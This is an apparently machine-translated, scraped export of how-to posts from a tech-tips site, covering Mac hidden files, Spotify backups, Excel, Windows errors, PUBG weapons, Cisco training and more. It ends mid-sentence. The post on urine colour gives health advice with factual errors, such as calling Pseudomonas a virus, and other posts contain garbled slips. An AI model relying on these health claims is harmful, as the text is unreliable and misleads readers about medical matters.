access to the most installed applications.\n  An app launcher bar has been added to the control panel with a large button with a + sign. Click this button to see a list of all installed applications, allowing you to select the applications you want to add to your control panel.\n  You can add as many apps as you want to this bar, but the article recommends that you don't overdo it at this point and think about how to organize or group things properly. Although it is not possible to organize the same when editing a program list, you can add different Application Launch Bars for application groups and separate them to distinguish.\n  Return to the previous menu and click the + button again to add a new entry to the control panel. This time, choose a Spacer, showing a 'space' at the position of the panel where you added it.\n  With the brand new spacer right after the first bar, now you can add the second bar after the spacer. By using various bar and spacer combinations, you can visually group and keep all dashboard components organized in a logical way.\n  Spacer will initially take up so little space almost invisible. To fix, right click on it, select 'Spacer Settings' and resize it from the pop-up window that appears.\n  The control panel, by default, will appear colorless, replicating default desktop settings. To highlight the colors on it, visit the Appearance tab . There, click on 'Solid color (with opacity)' . In the new pop-up window, you can choose both the background color of the panel as well as the transparency for it (by changing the Opacity value).\n  Finally, to avoid having the new panel occupy useful screen space, go to the Advanced tab and enable the 'Minimize panel when not in use' option . Also, note that the 'Size when minimized' field allows you to set how much space the panel will take, when it's hidden on the screen.\n  Although the article is focused on launching applications, since it is the main reason for using standalone program launchers, it is worth checking out other applets that you can add to the control panel. mine. Those will allow you to turn your console from simple program collections into central control points for the entire computer, to be closer to the actual third-party launcher.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXq0tcypo55lnJbCr6%2FHnqlmnJGotaO7wKubZqeeYrm5sMQ%3D\n","link":"/post/how-to-add-simple-launcher-dashboard-on-lxde/","section":"post","tags":null,"title":"How to add simple launcher dashboard on LXDE"},{"body":"Online music service Spotify offers users a smart music search service, quickly following a variety of different topics. Besides, Spotify also offers many other useful features, to meet users' needs such as backup and restore playlist of Spotify music. The following article will show you how to backup and restore music playlists on Spotify without doing it manually, taking time-consuming notes.\nHow to register for a Spotify account to listen to music online How to turn on lyrics on Spotify Instructions for connecting Spotify on phones with computers, televisions, speakers 1. How to backup playlist on Spotify There are many ways you can back up your playlist on Spotify and how to do it very simply.\nMethod 1: Use Word to copy the playlist This will apply to Spotify installed on your computer, with a software version or UWP application version.\nYou open Word on your computer and the Spotify application. Then, on the Spotify application, search the playlist in the Playlist on the left of the interface, then click on the playlist and drag and drop into Word content.\n  Soon we will see the playlist link appear. Continue with the next playlist.\n  To open the playlist, right-click the URL and select Open Hyperlink .\nIn case of not installing the software, you can access the link below on the browser and then drag the playlist into the Word interface.\nhttps://open.spotify.com/   Method 2: Save the playlist as a file Users can save the music playlist URL on Spotify as a file to access from the desktop, or any folder. We do the same, drag playlist Spotify into the screen interface. When you want to see, just click on the icon to finish.\n  Method 3: Use online services There are many online services that help copy the Spotify music URL into different formats and open it on many programs. Such as Exportify service.\nThis service will extract the entire playlist or user selected song into CSV file. Go to the link below and click Get Started and sign in to Spotify to agree to link your personal account.\nhttps://rawgit.com/watsonbox/exportify/master/exportify.html   Immediately the Exportify service will list all the playlists contained in the account that users already have, including private playlists. Here click the Export button to the playlist you want to extract. The file will be downloaded as a CSV file. You can open it with Excel or other software that supports this format.\n  To download all the music lists available on Spotify, click Export All. The file will now be saved as a zip file. CSV file will provide full information to users, song title, artist, album, album order, duration, date added to playlist.\n  2. How to recover playlist Spotify To restore playlist to Spotify from CSV file, we can use SpotMyBackup service. However, this service only supports JSON file so users need to convert CSV file to JSON.\nStep 1:\nTo convert a CSV file to a JSON file, users can use the service below.\nhttp://www.convertcsv.com/csv-to-json.htm Click the Choose file button to upload the playlist Spotify CSV file to the service and then scroll down to click the Download Result button .\n  We can rename the file in JSON format by default.\n  Step 2:\nVisit the link below to get to SpotMyBackup service. Users also click Login with Spotify and agree to let the service link to the Spotify account\nhttp://www.spotmybackup.com/   Step 3:\nIn the service's interface, you will see an Export button to extract Playlist playlist without having to change to JSON format.\nClick the Import button to upload the JSON playlist Spotify file to the service, click the Choose file button .\n  We then upload the file to the service and wait for the playlist to restore the Spotify data.\n  The recovery process of playlist Spotify takes place quickly or slowly depending on the number of songs in the playlist.\n  Backup playlist Spotify will help you find the playlist again if accidentally deleted on your account. In addition, Spotify users can also play Spotify music with YouTube videos or vice versa.\nSee more:\nHow to download mp3s on Spotify How to play playlist Spotify into Youtube video and vice versa How to download the entire Video Playlist on Youtube I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqRmLi2vIyapZ1loprAtbvRnmSppJGuuaq%2F02aqqaeknrO6\n","link":"/post/how-to-backup-and-restore-playlist-spotify/","section":"post","tags":null,"title":"How to backup and restore playlist Spotify"},{"body":"You often use functions in Excel to calculate but there are many less used functions, so you do not remember the argument in the function. You do not need to worry because Excel supports the function's display of arguments so that you can use the function easily.\nThe following article shows you how to display function arguments in Excel.\nOption 1: Select any cell in Excel you enter the syntax = [function name] and press Ctrl + Shift + A , at this time the arguments of the function you enter are displayed in the cell and on the function bar.\nFor example, if you want to display the arguments of the SUM function, select an Excel cell and enter = SUM and press Ctrl + Shift + A.\n  Method 2: If you want the number is displayed in more detail, then you enter the syntax = [function name] into any cell and press Ctrl + A .\nFor example, you want to display the detailed argument of the SUM function, select a cell and enter = SUM then press Ctrl + A.\n  The Function Arguments dialog box appears, you can enter the value directly for the function arguments if needed and click OK .\n  The article has shown you two ways to display function arguments in Excel, if you do not remember which function arguments you can display arguments quickly.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmna6mk6m2sLqMmqmgrZ2au7W%2FjKKlZp2omLKt\n","link":"/post/how-to-display-function-arguments-in-excel/","section":"post","tags":null,"title":"How to display function arguments in Excel"},{"body":"If you're the type of person who regularly lends out your MacBook to others\u0026nbsp; \u0026nbsp;, but you don't want them to see what \"sensitive\" files are on your\u0026nbsp; computer , learn more how to hide and view hidden files on your device. in the article below! Guaranteed to be successful.\nThe device used in the tutorial below is MacBook Pro 13\" 2017, macOS Big Sur version\u0026nbsp; \u0026nbsp;11.4. MacBook devices, or other software versions may have some changes in operation.\nNote: Some system files will be \u0026nbsp;hidden by\u0026nbsp; Apple , so you should be careful when moving, editing, or deleting those files. This may affect the operation of your device.\n+ Enable show hidden files/folders\nGo to the folder containing hidden files, then press Command + Shift + Dot (.) to display all files.\n  + Turn off the display of hidden files/folders\nYou repeat the key combination Command + Shift + Dot (.) to hide the displayed files.\n+ Enable show hidden files/folders\nFire up Terminal \u0026gt; Type \"defaults write com.apple.finder AppleShowAllFiles TRUE\" \u0026gt; Press Return/Enter \u0026gt; Type \"killall Finder\" \u0026gt; Press Return/Enter.\n  + Turn off the display of hidden files/folders\nFire up Terminal \u0026gt; Type \"defaults write com.apple.finder AppleShowAllFiles FALSE\" \u0026gt; Press Return/Enter \u0026gt; Type \"killall Finder\" \u0026gt; Press Return/Enter.\n  To do this trick, you need to use a file manager called Forklift. To download the Forklift app, please click\u0026nbsp; HERE .\nNote: The cost to buy License for individual use is $29.95, for family group is $49.95. Alternatively, you can also use Setapp, which integrates over 200 different apps, including the Forklift app, for $9.99/month. Click\u0026nbsp; HERE \u0026nbsp;to learn more.\n  + Enable show hidden files/folders\nNote: The operations are done entirely on the application on the Forklift application, not using the Finder.\nYou access the Forklift application \u0026gt; Move to the parent folder containing hidden files/folders \u0026gt; Click View \u0026gt; Select Show Invisible Files.\n  + Turn off the display of hidden files/folders\nYou access the Forklift application \u0026gt; Move to the folder where the file is displayed \u0026gt; Click View \u0026gt; Select Hide Invisible Files.\n  The Library folder, or Library, is where user account settings, application support files, or caches are stored. Manipulating these files may affect the performance of your Mac device.\nHowever, for some reason, you still want to edit the files contained in the Library folder, here are 2 ways to do it.\nMethod 1: Click on the main screen \u0026gt; Press the Go button on the toolbar \u0026gt; Hold down Option to display the option to go to the Library folder.\nMethod 2: Click on the main screen \u0026gt; Press Command + Shift + G \u0026gt; Type \"~/Library\" \u0026gt; Press Return/Enter.\n  To hide files or folders on MacBook, you need to use Terminal available on\u0026nbsp; macOS . Specifically, you do the following:\nOpen Terminal \u0026gt; Type \"chflags hidden \" (with extra space) \u0026gt; Drag and drop files/folders into Terminal's work window \u0026gt; Press Return/Enter.\n  Similar to the above, you also need to use Terminal to unhide files and folders. Specifically, you do the following:\nFire up Terminal \u0026gt; Type \"chflags nohidden \" (with extra space) \u0026gt; Go to the parent folder containing hidden files/folders \u0026gt; Drag and drop files/folders onto Terminal's workspace \u0026gt; Press Return/Enter.\nTo be able to display hidden files to perform drag and drop, you follow 1 of the 4 ways mentioned above.\n  Above is how to show and hide files on MacBook not everyone knows. Hope the article is useful to you, thank you for watching, see you in other articles!\nMacBook MacBook tips ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuwsiermagmZmxprqMn6ClnaNivK95zJqam6efoA%3D%3D\n","link":"/post/how-to-hide-view-hidden-files-on-macbook/","section":"post","tags":null,"title":"How to hide, view hidden files on MacBook"},{"body":"The saving of bookmak on Chrome is too familiar to users. However, bookmarks are saved and it is difficult to find them quickly because they are not sorted in any order. Bookmarks are only displayed in the first or second save order. Or, if you create your own bookmark folder, just save it and move to the created folder.\nIf so, users can use the BookMap utility to save bookmarks on Chrome, manage them by folder and by shortcut.\nAs such, you can easily find the bookmark you need because they are saved in different folders. How to use the BookMap utility to save and manage bookmarks on Chrome will be in the article below.\nHow to sync bookmarks between Chrome and Firefox? How to save bookmarks on Firefox to your computer? Instructions to restore Bookmark in Google Chrome and Firefox How to use BookMap to save Chrome bookmarks by directory Step 1:\nClick on the link below to install the Chrome BookMap utility, click Add to Chrome .\nDownload the BookMap Chrome utility   Step 2:\nWhen the installation is complete, the user will see the utility icon at the end of the address bar, click on the icon and then click the gear icon to configure the utility.\n  Step 3:\nAppears some additional bookmark management items. In the Mapped folder , you can create a new folder to save the bookmark site next to the existing folders. Please enable the create new folders section in ON mode so that the gadget proceeds to create a new folder. To delete, press the X next to the folder name.\nAfter creating, click the choose hotkeys below.\n  Step 4:\nImmediately we will be transferred to the interface to manage bookmarks installed on Chrome browser, find the BookMap utility.\nThe Registered folder 0 corresponds to the first Mapped folder, in the example, the Technology Web folder. Enter the shortcut key into the next line to quickly open the bookmark folder.\nNow try opening a web page and pressing the assigned shortcut key to the bookmark folder. Immediately the site will be saved to the specified directory.\n  Thus, saving bookmarks on Chrome is now much quicker and tidy, when web pages are saved in a separate folder. Users simply press the correct shortcut assigned to the bookmark folder, the website will be automatically saved to it.\nSee more:\nInstructions for fixing common errors in web browsers How to view all bookmarked pages on Chrome browser How to create Bookmark for PDF file I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYycn6unnZp6o7vOpKSaqptis7C4w56pZpqpYsCpu9Gtmq6s\n","link":"/post/how-to-manage-chrome-bookmark-folder-by-shortcut/","section":"post","tags":null,"title":"How to manage Chrome bookmark folder by shortcut"},{"body":"Night Shift is an extremely familiar feature for iOS devices from OS 9.3 and above. This feature will help us to use the device in the night, but still ensure eye safety when reducing the influence of screen light, customize the intensity of blue screen from dark to light. However, this useful feature is not yet available for Mac users.\nOnly when it comes to macOS Sierra version 10.12.4 to upgrade with iOS 10.3, Night Shift feature has been updated by Apple on Mac. So how to use this feature?\nStep 1: First of all, you need to upgrade the device to macOS Sierra 10.12.4. Next, click on the Apple icon on the Menu bar and select System Preferences .\n  Step 2: Next to the System Preferences interface, please click on Display .\n  Step 3: A dialog box includes three Display options, Color and adds Night Shift . Let's click on Night Shift.\n  Step 4: At the new interface, readers can set the time frame to use the Night Shift feature, including two Sunset to Sunrise modes - choose the sun's time or Custom - the user sets the time for the Night Shift .\nThe Color Temperature bar , you can customize the blue or yellow intensity on the screen.\n  So we have activated the Night Shift feature on the Mac. In addition, users can also activate this feature with a simpler way, open the Notification Center section and press On or Off to activate the Night Shift feature.\nHowever, opening the feature from this Notification Center is simply enabled or disabled. If the user wants to adjust the cool or warm tones, you must access the System Preferences.\n  In addition, we can also through the virtual assistant Siri to launch this Night Shift feature on a Mac.\n  Turning on or off Night Shift on macOS 10.12.4 can be through 3 different ways like the above tutorial, depending on the convenience of each user. But if you want more customization of the time setting, the color intensity needs to go through System Preferences.\nRefer to the following articles: What's new in Apple's new iOS 10.3 release? IOS 10.3 update will help free up memory capacity for iPhone / iPad Troubleshoot audio loss problems on Mac ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmpZ6vXaO2qLTTZqqhoZapeqexwK2sq51dpLtuucCcpqxlo56ys77AZmhpaWJp\n","link":"/post/how-to-use-the-new-night-shift-feature-on-macos-sierra-10-12-4/","section":"post","tags":null,"title":"How to use the new Night Shift feature on macOS Sierra 10.12.4"},{"body":"Windows 11 operating system has just been launched by Microsoft with a lot of great improvements in terms of interface and features. Now, Windows 11 users can run Android without any emulator software.\nProminent among them is the fact that Windows 11 can run Android without having to use emulators.\n  On Android 11, Microsoft has partnered with Amazon to bring the Amazon app store into the Microsoft Store. As a result, Windows 11 can run Android applications right on the computer without the emulator software like before. Users only need to find and install the application on the Microsoft Store.\n  Windows 11 users can now run Android apps. Of course, the operation is still no different from the experience on smartphone devices, such as the TikTok application in the image above. Currently, Windows 11 only supports a few applications available on the Amazon app store. In the future, there will certainly be many more popular applications added by the company.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kv7a6jJqlnaqfnrFuu81mmGabn6K9tsDEq2SwoaSdvLbAjKKlrKyRobmqusZmnKatnJbBsL6MrKafrKeWv6Z51qKroWWnnrulu9asZGpp\n","link":"/post/run-android-on-a-computer-without-installing-emulator-software-with-windows-11/","section":"post","tags":null,"title":"Run Android on a computer without installing emulator software with Windows 11"},{"body":"However, for now, Windows 10 computers are still prone to random crashes. A common problem is that Windows gets stuck in a 'Getting Windows Ready' loop . In this article, Tipsmake will review with you some ways to get rid of this error.\n5 useful ways to resolve the 'Getting Windows Ready' error Anything can cause this problem on Windows 10, TipsMake.com has compiled the best methods you take to get back to your workflow. Let's start with the first and most basic way.\n1. Give Windows a little more time   Sometimes the best thing to do is to do nothing. If you're not in a hurry, consider leaving the machine running. It's normal for the update process to take a while, especially if you haven't updated your PC in a while or your Internet connection is slow.\nTry letting it update all day. If there is still no progress, then the problem may lie with another cause.\n2. Check Internet Connection   As noted above, if there's something wrong with the Internet connection itself, then you're obviously going to have a hard time updating your PC. Double check to make sure that's not the case and try to resolve if this is the cause of the problem.\nIf you are using a wired connection, consider the router. Unplug it, let the router rest for a bit and then turn the router back on to see if that helps. If you are using WiFi, double check that it is working properly. If you think something is wrong, try some fixes or plug in an Ethernet cable.\n3. Perform the forced shutdown process   If you've tried the two methods above and are still having problems with the \"Getting Windows ready\" screen, you should try shutting down your computer.\nNote : Only try this method after having done the above methods.\nWhen Windows is updating, an abrupt shutdown can result in damage to important system files. You may even experience the dreaded blue screen of death error on your computer.\nSome might say that you won't lose files after a forced shutdown, especially after a new componentization construct that comes with Windows Vista, called Component-Based Servicing . Even so, the article always advises you to act with caution and never bet the system.\nIf you decide to give it a try, here's how you can go through the forced shutdown process: If you're using a laptop, press and hold the power button until the system shuts down. After that, reboot the system and you should see the updates downloaded again or the system will boot normally. If you are using a PC, simply disconnect the power.\nIf everything goes well, your computer should be up and running again without any problems.\n4. Use the Startup Repair tool   Startup Repair is a handy, free tool found in the System Recovery Options menu on Windows operating systems. It helps you to automatically solve many complex problems related to random data loss, boot problems, etc. Follow the steps below to get started:\nStep 1 : Create Windows installation media on USB. If you need advice on how to do this, follow TipsMake.com's guide on how to create Windows 10 installation media on USB.\nStep 2 : Start the computer with the USB and select the Repair your computer option from there.\nStep 3 : From there, select Troubleshoot.\nNow, on the Advanced options screen , click on Startup Repair.\nThe Startup Repair option will start looking for errors and problems on the computer, then resolve as many errors as possible. Once the process is complete, shutdown and reboot to see if the problem persists.\n5. Perform a factory reset Factory Reset, as the name implies, completely erases the copy of Windows on your computer. It will then install a fresh copy of the operating system just like it did when you first bought it. This is a handy tool from Microsoft that can rescue you from all kinds of Windows problems.\nFurthermore, it comes with two different reset modes: Keep my files and Remove everything . Keep my files will delete Windows and any additional apps and updates you've installed on it, but keep your documents intact. On the other hand, the Remove everything option will delete everything on the PC and then reinstall Windows from scratch.\nGood luck with your troubleshooting!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5ecaeq62hnpx6uLXNnaawq12nsqKw2Gacq6qfp3qwuoywoKecn6zAbn2P\n","link":"/post/steps-to-fix-getting-windows-ready-error-on-windows-10/","section":"post","tags":null,"title":"Steps to fix 'Getting Windows Ready' error on Windows 10"},{"body":"Regression Analysis is used to determine the relationship between a set of two or more variables in a data set. Basically, Regression Analysis allows you to analyze significant and unimportant factors from a data set and then make decisions accordingly. Now, if you want to use Regression Analysis so that you don't need to do manual calculations, this post will help you.\nIn this article, Tipsmake will discuss different ways to perform Regression Analysis on Windows 11/10 PC. You don't need to do anything manually. Simply import the dataset, select the input variables, and visualize the results. Find out below!\nHow to perform Regression Analysis in Windows 11/10 Here are the methods that you can use to perform Regression Analysis on your dataset in Windows 11/10.\nMethod 1: Perform Regression Analysis in Microsoft Excel You can perform Regression Analysis using the Microsoft Excel application. The Data Analysis ToolPak- specific ToolPak add- on in Excel allows you to perform Regression Analysis and some other data analysis. You will have to manually activate this add-in to use its functions. Let's look at the process of using Excel's Data Analysis ToolPak add-in to perform Regression Analysis.\nHere are the main steps to perform Regression Analysis in Microsoft Excel:\nStep 1. Launch the Microsoft Excel application.\nStep 2. Go to File \u0026gt; Options \u0026gt; Add-ins tab .\nStep 3. Click the Go button .\nStep 4. Activate the Data Analysis ToolPak add-in and return to the main Excel screen.\n  Step 5. Enter the dataset and select the input data with dependent and independent variables.\nStep 6. Scroll to the Data tab .\nStep 7. Click the Data Analysis button .\n  Step 8. Select Regression and press the OK button .\n  Step 9. Enter the input range X (independent variable) and Y (dependent variable), as well as other output options, for which you want to perform Regression Analysis.\n  Step 10. Click the OK button to view the Regression Analysis results.\n  You can save the results in the same Excel sheet or print the results if you want.\nSimilarly, you can also perform analyzes including ANOVA test, covariance, descriptive statistics, power continuous, Fourier integration, histogram, moving average, sampling, t-test -test etc.\nMethod 2: Use free software JASP to perform Regression Analysis You can use free third-party software to perform Regression Analysis on a set of data. There is a number of free software that allows you to analyze the data. Here, the article will use free software called JASP and Statcato. Using these two free software you can perform Regression Analysis and many other data analysis\n1. JASP\nJASP is dedicated free statistical analysis software for Windows 11/10. Using it, you can perform Regression Analysis, descriptive test, T-test, ANOVA, frequency test, principal component analysis, exploratory factor analysis, meta-analysis, summary statistics shortcut, SEM, visual modeling and confirmatory factor analysis. JASP provides a dedicated Regression tab where you can perform Linear, Correlated and Logistic Regression Analysis.\nHere are the main steps to perform Regression Analysis in JASP:\nStep 1: Download and install JASP.\nStep 2: Launch the software.\nStep 3: Import your dataset.\nStep 4: Go to the Regression tab .\n  Step 5: Choose Classical or Bayesian regression type .\nStep 6: Select dependent and independent variables, as well as customize other parameters.\n  Step 7: View and export the results.\n  2. Statcato\nAnother free software that you can try to perform Regression Analysis is Statcato. It is a free and open source software for performing statistical analyses. Statcato allows you to perform Regression Analysis as well as several other types of data analysis. Several methods of data analysis are provided which include hypothesis testing, ANOVA, descriptive statistics, normal distribution test, sample size, non-parametric test, etc.\nStatcato allows you to perform Linear Regression, Multiple Regression, Correlation Matrix, Non-Linear Regression, etc. main steps to perform regression analysis in Statcato:\nStep 1: Download Statcato software.\nStep 2: Launch the Jar file.\nStep 3: Import or create an input dataset.\nStep 4: Go to the Statistics menu .\nStep 5: Click on Correlation and Regression option.\n  Step 6: Select the desired regression type.\nStep 7: Select dependent and independent variables.\n  Step 8: View and save the regression analysis.\n  Method 3. Perform Regression Analysis Online Using Free Web Service You can also perform regression analysis online using a dedicated free web service. Here, the article will use a web service called socscistosystem \u0026nbsp;It allows you to perform linear analysis and many regression analyzes online. In addition, you can also find other statistical tools on this website. Below are the main steps to perform an online regression analysis using socsciststatistics.\nStep 1. Open a web browser.\nStep 2. Navigate to the socscistosystem . website\nStep 3. Now you need to navigate to the Multiple Regression Calculator or Linear Regression Calculator page , depending on which regression analysis technique you want to use.\nStep 4. Next, enter the corresponding input values ​​in the X (independent) and Y (dependent) columns . You can also enter estimated values.\n  Step 5. Click the Calculate the Regression Equation option .\n  Step 6. After that, the results of the regression analysis will be displayed in the same window.\n  Regression analysis results include graphs, regression equations, sum of squares, sum of products, mean, etc.\nHope you are succesful.\nRegression Analysis ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddpbKzss6rpGaqlZy%2Fpr%2FSoqanZZGjrq3F0qKqZqGeYsSqusOorqxlYWZ%2BcQ%3D%3D\n","link":"/post/steps-to-perform-regression-analysis-in-windows-11-10/","section":"post","tags":null,"title":"Steps to perform Regression Analysis in Windows 11/10"},{"body":"If you're careful and lucky enough, you can land the winner's Chicken Dinner in PUBG. And of course, your victory is greatly supported by powerful guns, get these weapons to have an advantage over your opponents.\nI. Rifles 1. M16A4   Suggested accessories:\nSilencer Expansion magazine quick change Viewfinder 4X Tactical gun stock The M16A4 doesn't have full automatic fire, but it's still capable of dealing massive amounts of damage in the hands of players who are proficient with it. You will no longer be able to rely on frantic 'drying', but instead the beam-firing function, 4X scope and silencer will help you take down unexpected opponents from a distance. With its high accuracy and low recoil, the M16A4 will be very unlikely to lose in singles matches, especially when it's just you and the last one left.\n2. Scar-LIKE   Suggested accessories:\nRed dot viewfinder Barrel silencer Expansion magazine quick change Angle Grip Viewfinder 4X When you're looking for a weapon for long and nerve-wracking fights, it's a gun that's versatile and quick enough to handle the situation. Scar-L can do just that, whether you're planning to rush into an enemy ambush or stand in the 'counter' from afar.\nThe red-dot viewfinder is perfect for close-up, and you can sometimes use the 4X for a longer view, combined with the angled grip for just the right amount of control. Scar-L is perfect for attacking mid-range targets. If you are the type of player who has a habit of drying guns, equipping the Scar-L with a thumb grip, plus a recoil reduction barrel makes it difficult for enemies to detect your position in combat.\n3. M416   Recommended accessories:\nSilencer Expansion magazine quick change Half handle Viewfinder 4X Tactical gun stock Not only can the M416 be able to use all five accessories at once, but it's also extremely versatile in close and long-range combat. This is the only rifle that can use a stock, which increases recoil recovery and minimizes grip vibration. In addition, instead of using recoil-reducing barrels, silencers have a huge tactical advantage in surprise ambushes.\nII. SMG 1. Microphone Uzi   Suggested accessories:\nReduce recoil Expanded quick-change magazine Button stock The Uzi is not the most ideal weapon, but it is the most popular, and learning how to use it properly will help you master the early stages of the game. Uzi is really a strong gun when compared to other options in the early game.\nUzi is usually placed next to 1 or 2 items nearby. If you are lucky, this will be a very good basis for controlling this gun. At range, Uzi should only be used at close range, but its bullet speed and damage will be extremely formidable, making the enemy unable to react.\n2. Vector   Suggested accessories:\nRecoil muffler Vertical handle Red dot sight barrel Expansion magazine quick change Tactical gun stock Vector may look rather goofy with its meager magazine, but this weapon becomes a nightmare for enemies when you handle it correctly. Vector has a unique design that minimizes recoil and overcomes major problems with SMG gun control. After adding an extended magazine, you will have the most powerful close-range weapon in the game. Super fast output speed along with absolute 'smooth' make Vector always win in close-range duels.\nIII. Sniper rifles 1. Kar98K   Suggested accessories:\nBarrel silencer Viewfinder 8X – 15X Cheek Pad The Kar98K is a formidable sniper rifle that is a great choice for long range power. While it doesn't have as much damage as M24 or AWM, Kar98K's speed will help you solve the problem. And anyway, a Kar98K bullet hit the target's head, he was still defeated as usual (except for the level 3 helmet). This gun is also very popular and scattered on the map. Its simplicity is also sometimes the lethal factor.\n2. Mini 14   Suggested accessories:\nExpanded quick-change magazine Barrel silencer Viewfinder 8X The Mini 14 is the weapon you want to have quickly in PUBG because it's a great choice in mid-range and long-range duels. Mini 14 can also become a great companion to Scar, M416 or M16A4. This is the only sniper rifle that uses 5.56mm ammo, so you don't need an extra pocket in your backpack for 7.62mm ammo.\nThe Mini 14 has the highest magazine capacity among semi-automatic sniper rifles and an extended magazine will increase its default 20-round limit to 30. As such, the gun is suitable for close-quarters skirmishes. central. And even though the Mini 14 deals less damage, it's still enough to knock out opponents with 2 shots to the head, so don't be too shy when it comes to combat.\nIV. Shotgun - S12K   Suggested accessories:\nRecoil muffler Expansion magazine quick change Red dot viewfinder The S12K is a great gun if you like shotguns, and it's great when you just close your eyes and hit the fire button. S12K has almost no rival when it comes to the fastest bullet rate in shotguns. Expanded magazine allows you to increase the amount of ammunition from 5 to 8 rounds. Reload time is also a problem for Shotguns, but not for the S12K.\nThe above are powerful and easy-to-play guns in PUBG. If you are new to this game, they will help you get used to the atmosphere in the game quickly and get your Chicken Dinner soon. Wish you win!\nweapons in pubg guns in pubg ncG1vNJzZmismaXArq3KnmWcp51kwbC8jKmmsJ2im8KtecCnm2adkajGtbvPpZiyZaearrG7zaxkoqZdpcKjsw%3D%3D\n","link":"/post/top-powerful-and-easy-to-play-weapons-in-pubg/","section":"post","tags":null,"title":"Top powerful and easy-to-play weapons in PUBG"},{"body":" Your 10 kidney warning signs are having problems Attendance of 10 positions is strictly forbidden to place the phone Want a proper diet, don't ignore these 10 serious mistakes! What color does urine signal about your health? This may sound strange but every time you go to the bathroom, you have the opportunity to check your own health. By checking the color of your urine, you can tell if your body is working properly and whether you need to see a doctor.\nThis article lists 7 colors of urine that alert your health status , along with some tips on what you need to do. Join us to learn about urine color to know your health status!\nOrange urine  © Depositphotos\nSome anti-inflammatory drugs (Azulfidine), chemotherapy drugs and laxatives can cause orange to urine. Taking too much vitamin B2 or beta-carotene (in carrots) is also one of the reasons for this. If you have nothing to do with the above, you need:\nDrink more water . Dehydration makes the urine in the body stagnant and changes from dark yellow to orange. In just a few hours, it will return to normal yellow. Check your eyes . If the yellow color appears in the iris (along with orange urine) it is a warning sign that your liver is having problems. Come see the doctor now! See also: What happens if you drink water as soon as you wake up?\nUrine pink red  © Depositphotos\nIt may be alarming to see that your urine is pink or red, but it is not serious because the color is due to the effect of food or medicine that you have absorbed into your body. Before you worry, take a look at some of the reasons behind this pink red urine:\nFood : If you eat a variety of red foods (like beetroot, raspberries, cherry, .), you don't have to worry. Because some compounds that make this food red will be excreted in the urine after kidneys perform their job. Usually, this color will run out the next day. If not, you should see a doctor. Oral medications : Certain antibiotics (such as Rifadin and Rimactane) used to treat tuberculosis will make your urine red. Phenazopyridine (used to treat urinary tract infections) and laxatives are not the cause of this condition. Blood : Blood in the urine may be a sign of urinary tract infection, kidney disease, cancer or benign tumors, bladder problems and kidney stones. If you see any blood clots in your urine, see your doctor right away. Urine is green or blue  © Depositphotos\nYou may be shocked to see these two colors appear in the urine, but it rarely happens. If so, it could be due to:\nFood : If you eat artificially colored or asparagus foods, there is nothing to worry about! Green or blue in urine lasts only for a day or two. Oral medications : Some drugs (such as Amitriptyline, Indomethacin and Propofol) can cause color changes to the urine. Note : If not related to the above, you should contact your doctor immediately. Green can signal a rare urinary tract infection caused by Pseudomonas bacteria. Moreover, this virus can cause kidney stones.\nUrine brown  © Depositphotos\nIf urine is brown, it is a sign of dehydration. However, there are also some foods that change the color of urine. It is best to check carefully, especially when drinking lots of water that brown still does not disappear. Besides, brown urine is also a sign that your liver and kidney are having problems.\nNote : If brown urine appears with signs such as abdominal pain, rash and seizures, this indicates that you are more likely to be genetic. In addition, blood that appears brown when decomposed can be a sign of a more serious condition such as a tumor.\nUrine is effervescent  © Depositphotos\nBubbling urine is considered normal. But if this happens continuously and it's worth noting that the effervescence is on the rise, you should see your doctor right away.\nBubbling urine is also a sign of how much protein is in the urine. You need to check carefully because it is a sign that your kidney function is having serious problems.\nTransparent urine  © Depositphotos\nIf urine is completely transparent, it is a sign that you are drinking too much water . This can cause certain risks, most importantly it dilutes the salt and causes chemical imbalance in the body. Consider drinking water properly!\n14 harmless food but if overdose can cause death Urine is light yellow, transparent yellow and dark yellow  © Depositphotos\nUrine with these colors means you have nothing to worry about. Ideally, urine should be pale yellow. If the urine is dark yellow, it is a sign that you need to drink more water. Just keep in mind a golden rule: if urine is the same color as lemon juice, your health is good!\nHave you ever noticed your urine color? Do you notice it's strange color? Please share with us in the comment section below!\nRefer to some more articles:\nAs a busy person, don't skip the 9 \"simple but healthy\" eating principles below! If you have high blood pressure, stroke or varicose veins, apply the 7 things below to improve! 8 signs from ear wax reveal your current health condition Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aaqKSfp3qlu8SsZK6qmaOybr%2FIoKWapF2Wr7DB02awqK2iYrWmrcutnw%3D%3D\n","link":"/post/what-color-does-urine-signal-about-your-health/","section":"post","tags":null,"title":"What color does urine signal about your health?"},{"body":"With professional network professionals looking for addresses to learn new knowledge or receive a certificate, there is no place as diverse as the Internet. But do you know where the address is reliable? One way is to choose Cisco. The company has many training tools on many topics with prices ranging from free to thousands of dollars. Here are the services that this company offers.\nCisco Learning Network Cisco Learning Network is a Cisco training and certification center. Learners will explore a variety of routes to obtain certificates, different topic-based exams, attend training, discussion, group study sessions and get information about exams. Most are free but there are also tuition sessions.\nCisco Networking Academy Cisco Networkking Academy, or NetAcad, is at the heart of Cisco's virtual virtual lectures. Some of them, like introductory courses, are provided for free, others will cost from several hundred to several thousand dollars.\n  Learn and receive a certificate from Cisco\nCisco Learning Network Store Cisco Learning Network Store is a branch of Cisco Learning Network that provides design lessons for certain goals such as training for newcomers, professionals . Courses divided into many lessons with topics as diverse as the middle Data center, IoT, IP Routing, network programming, security / VPN, CCNA cloud. Studying on your own route, virtual labs, practice tests, discussion or group study are all available on the Store for free with several thousand dollars.\nPacket Tracer This is Cisco visualization training software. It is used to prepare for certification exams or practice network configuration skills. This software is used in many Cisco online courses and has Windows, Linux, Android and iOS mobile versions. Many courses using Packet Tracer are provided for free on the Cisco Networking Academy. Some other tools like Cisco Learning Labs or CCIE Lab specialist level courses are not 